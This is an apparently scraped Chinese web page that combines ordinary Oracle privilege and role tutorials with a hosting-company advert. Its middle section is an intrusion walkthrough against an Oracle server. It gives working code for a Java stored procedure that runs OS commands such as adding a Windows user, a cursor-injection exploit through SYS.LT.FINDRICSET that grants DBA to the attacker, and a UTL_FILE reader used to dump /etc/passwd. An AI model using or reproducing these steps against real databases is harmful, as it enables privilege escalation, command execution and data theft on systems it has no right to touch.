oracle怎么获取权限 oracle的权限
如何查看oracle用户具有的权限和角色?
1.查看所有用户:
创新互联建站是网站建设技术企业,为成都企业提供专业的做网站、网站制作,网站设计,网站制作,网站改版等技术服务。拥有十余年丰富建站经验和众多成功案例,为您定制适合企业的网站。十余年品质,值得信赖!
select * from dba_users;
select * from all_users;
select * from user_users;
2.查看用户或角色系统权限(直接赋值给用户或角色的系统权限):
select * from dba_sys_privs;
select * from user_sys_privs;
3.查看角色(只能查看登陆用户拥有的角色)所包含的权限
sqlselect * from role_sys_privs;
4.查看用户对象权限:
select * from dba_tab_privs;
select * from all_tab_privs;
select * from user_tab_privs;
5.查看所有角色:
select * from dba_roles;
关于ORACLE的权限赋予问题
我们经常谈及Oracle的权限 比如Connect DBA resource sysdba select any table select_catelog_role这样一些权限 让我们眼花缭乱的 那么如何来区分这些种类繁多的privilege中不至于眼迷离呢 这个文章将会对你在这方面的了解起到帮助
以上我们看到的这些权限 都是可以通过grant语句来进行权限赋予 同时也可以用过revoke来进行权限收回的操作的 但是 他们虽然都在grant里出现 但是有各自有着本质的不同
oracle里的权限有两种权限 系统权限和对象权限 所谓系统权限 就是oracle里已经hardcode写死的权限 这些权限 我们是不能自己去扩展的 比如上面提到的select any table create any table create table等 这里的权限已经在oracle里全部规定好了
我们可以通过查看system_privilege_map这个数据字典表来查看所以的oracle系统内置的权限
SQL select * from system_privilege_map;
PRIVILEGE NAME PROPERTY
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
这里就是所有的内置的系统权限了 其实如果有开发过权限系统的经验的话 对这里的这个概念 可以理解为function permission 也就是你可以进行哪些操作
这里特别提到一个另外的知识点 有网游朋友问过我 create any table和create table有什么区别 create table只能老老实实的给自己的scheam创建表 而不能以create table otherschema tablename这样的方式给其他的schema创建表 额外提到这点 有很多朋友这块还是模糊的
oracle通过数据字典表dba_sys_privs这个表来记录user被赋予的系统权限 比如
我们现在执行
SQLgrant select any table to test ; 把select any table的权限赋予test 这个用户
Grant succeeded
SQL select * from dba_sys_privs where grantee = TEST ;
GRANTEE PRIVILEGE ADMIN_OPTION
TEST SELECT ANY TABLE NO
这里就可以查询到这个记录了 admin_option表示的是是否有把当前这个系统权限grant给其他用户的意思 yes 表示test 除了自己有这个权限 还可以把这个权限赋予其他用户 N就是没有grant的权限了
我们可以用一下语句试试
SQL grant select any table to test with admin option;
Grant succeeded
在来看看刚才的记录
GRANTEE PRIVILEGE ADMIN_OPTION
TEST SELECT ANY TABLE YES
现在test 就可以赋予select any table给别的用户了
下面我们看看object permission 其实这里已经名字就可以区分开了 这里是针对于特定的对象的权限 上面的系统权限是限定了可以操作的功能 而object permission就更细化了 具体到了莫个对象你可以操作的功能的权限
比如 A用户建立了一个TableA表 现在为了让B用户可以看到A这个对象 我们就可以把A table的select权限 进行赋予 这里的A table上的select权限就是一个对象权限
除了select 还有update delete insert alter drop index references这样正对于对象的权限
除了可以给表对象指定对象权限外 view sequence procedure function package triggger MV等这些oracle里的对象都可以进行对象的权限指定
对于对象权限来说 由于对象权限完全是动态的 在对一个对象进行grant的时候 才能看到具体的对象权限 所以对象权限是不像system privilege那样有一个表来描述的 只有一个表来记录用户和这个用户对于的对象权限的关系表 这个表就是dba_tab_privs;
这里这个名字比较容易让人误会为只有table的对象权限 其实不然 这里其他类型的对象的对象权限也会记录进来
实验一下 还是刚才的test 用户 我现在把对象dbms_xplan的execute的权限给他 dbms_xplan这个有些朋友可能不熟悉 这是执行计划有关的一个对象 朋友们如果没有安装执行计划的包 可以用dbms_output对象做实验
SQLgrant execute on dbms_xplan to test ;
SQLgrant execute on dbms_output to test ;
SQL select * from dba_tab_privs where grantee = TEST ;
GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRANTABLE HIERARCHY
TEST SYS DBMS_XPLAN SYS EXECUTE NO NO
TEST SYS DBMS_OUTPUT SYS EXECUTE
这里注意和fuanction 不同的 这里有一个GRANTABLE的字段 意味和上面admin option一样的作用
不过这里的sql不同了
SQLgrant execute on dbms_xplan to test with grant option;
这里是oracle里的权限了
不过有的人可能会问道 咦 你是不是漏掉了 不是我们还可以
grant connect resource dba to username;吗 那她们都是什么权限呀
在这里就要注意了 这里的connct resource dba都不是权限 而是一个role 角色 一个角色是 个或者多个系统权限或者对象权限的集合 是便于我们管理用户赋权而演化而来的 这里的create role和赋予role权限我们就不详谈了 朋友们可以自己查一查相关资料 role是我们可以动态建立的 建立的role可以用grant来赋予权限 或者把一个role赋予另一个role
我们可以通过dba_roles这个表来查询系统里所有的role
SQL select * from dba_roles;
ROLE PASSWORD_REQUIRED
CONNECT NO
RESOURCE NO
DBA NO
SELECT_CATALOG_ROLE NO
EXECUTE_CATALOG_ROLE NO
DELETE_CATALOG_ROLE NO
我们可以把role的赋予一个用户
比如
SQLgrant select_catalog_role to test ;
我们可以通过dba_role_privs来查询相关用户的role的赋予 比如
SQL select * from dba_role_privs where grantee = TEST ;
lishixinzhi/Article/program/Oracle/201311/16827
入侵Oracle服务器进一步获取权限
很快便连接上oracle服务器 此时发现
连接后不是dba权限
不能利用SYS DBMS_EXPORT_EXTENSION GET_DOMAIN_INDEX_TABLES漏洞提升权限
运行SELECT UTL_HTTP request( ) FROM dual 后发现oracle服务器不能连接网络
幸运的是
运行
create or replace function Linx_Query (p varchar ) return number authid current_user is begin execute immediate p; return ;end;
成功!这个用户具有create proceduce权限
此时马上想到创建java扩展执行命令
create or replace and pile java source named LinxUtil as import java io *; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime getRuntime() exec(args) getInputStream() ) ); String stemp str= ;while ((stemp = myReader readLine()) != null) str +=stemp+ ;myReader close();return str;} catch (Exception e){return e toString();}}}
begin dbms_java grant_permission( PUBLIC SYS:java io FilePermission execute );end;
create or replace function LinxRunCMD(p_cmd in varchar ) return varchar as language java name LinxUtil runCMD(java lang String) return String
select * from all_objects where object_name like %LINX%
grant all on LinxRunCMD to public
select LinxRunCMD( cmd /c net user linx /add ) from dual
但是在第一步就卡住了 服务器由于某种未知原因 不能创建java扩展!!
还好 我们还有UTL库可以利用
create or replace function LinxUTLReadfile (filename varchar ) return varchar is
fHandler UTL_FILE FILE_TYPE;
buf varchar ( );
output varchar ( );
BEGIN
fHandler := UTL_FILE FOPEN( UTL_FILE_DIR filename r );
loop
begin
utl_file get_line(fHandler buf);
DBMS_OUTPUT PUT_LINE( Cursor: ||buf);
exception
when no_data_found then exit;
end;
output := output||buf||chr( );
end loop;
UTL_FILE FCLOSE(fHandler);
return output;
END;
UTL_FILE_DIR需要先用
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS /etc ;
指定目 但运行后发现没有权限 只好想办法提权
***************游标注射***************
老外写了N个pdf介绍这技术 我精简了代码
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL OPEN_CURSOR;
DBMS_SQL PARSE(MYC declare pragma autonomous_transaction; begin execute immediate GRANT DBA TO linxlinx_current_db_user ;mit;end; );
DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);
BEGIN SYS LT FINDRICSET( ||dbms_sql execute( ||MYC|| )|| )– x ); END;
raise NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);
WHEN OTHERS THEN DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);
END;
运行后重新连接就有dba权限了 简单吧……
现在可以读取文件了
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS /etc ;
select LinxUTLReadfile( passwd ) from dual
lishixinzhi/Article/program/Oracle/201311/16747
oracle中,用户如何获得grant权限?
1、系统权限的授予权获得
在获得一个系统权限的同时选择WITH ADMIN OPTION从句。
例: grant Create any view to scott WITH ADMIN OPTION;
2、对象权限的授予权获得
在获得一个系统权限的同时选择WITH ADMIN OPTION从句。
例:grant Select on emp to Myuser WITH GRANT OPTIION;
3、对于用户自身对象的对象授予权限没有必要获得,可以直接授予其他用户。
4、user2获得user1所有表的权限有两种方法实现:
a) 登入user1用户,把表的Select权限一个一个授予user2.
b) 登入DBA用户权限授予suer2用户Select Any权限。
例:Grant Select Any Table to user2; --这样获得是所有用户表的Select权限。
oracle中怎样查询用户权限?
查看用户系统权限:\x0d\x0aselect * from dba_sys_privs;\x0d\x0aselect * from session_privs;\x0d\x0aselect * from user_sys_privs;\x0d\x0a查看用户对象权限:\x0d\x0aselect * from dba_tab_privs;\x0d\x0aselect * from all_tab_privs;\x0d\x0aselect * from user_tab_privs;
当前标题:oracle怎么获取权限 oracle的权限
分享网址:http://scyanting.com/article/hhhhpc.html